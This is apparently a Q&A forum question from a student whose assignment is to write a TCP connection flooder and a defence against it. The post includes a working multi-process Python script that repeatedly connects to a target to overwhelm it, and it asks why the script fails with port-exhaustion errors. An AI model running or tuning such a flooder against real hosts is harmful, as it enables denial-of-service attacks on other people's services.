title: Only one usage of each socket address (protocol/network address/port) is normally permitted error in simple Python spammer
body: <p>My assignment was to create simple TCP flooder (just constantly connect to some TCP node) and protection against this kind of attack.</p>
  
  <p>So here what I have as flooder:</p>
  
  <pre class="lang-py prettyprint-override"><code>def ping_ponger(address, port, number, q):
  print("Thread #{} is set up and running".format(number))
  while q.value == 0:
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((address, port))
      s.close()
  
  
  if __name__ == "__main__":
      parser = argparse.ArgumentParser(description="Ping-pong given node to death")
      parser.add_argument("-a", type=str, help="target node address")
      parser.add_argument("-p", type=int, help="target node port")
      parser.add_argument("-n", type=int, help="number of threads")
      parser = parser.parse_args()
  
      thread_list = []
      num = Value('d', 0.0)
      for x in range(parser.n):
          thread_list.append(Process(target=ping_ponger, args=(parser.a, parser.p, x, num)))
          thread_list[x].start()
      sleep(1)
      input("Press any key to end this misery")
      num.value = 1
  </code></pre>
  
  <p>Main idea was to spam from multiple threads, constantly connecting and then do nothing.
  The problem is that I get this error</p>
  
  <pre><code>OSError: [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted
  </code></pre>
  
  <p>immediately upon restarting of the code, or after 10-15 seconds of running</p>
  
  <p>I'm running Win10, and connecting to another machine in my LAN, that runs WSL (Ubuntu 18) on Win10.</p>
  
  <p>I tried to make sockets "timeout"</p>
  
  <pre><code>s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
  </code></pre>
  
  <p>No luck here.
  Then I just copy-pasted code from thread function into "main" Still no luck.</p>
  
  <p>I think that it is because it "exhaust" free ports and then the problem arises, but I close sockets after connection, so it must not be the case here.</p>
  
  <p>Whats wrong with this?</p>
  
  <p><strong>UPD 1</strong>
  I tried running this from my WSL, and get another error</p>
  
  <pre><code>OSError: [Errno 98] Address already in use
  </code></pre>
  
  <p>And it is strange, because OS should provide me with a free address when i call socket.socket() </p>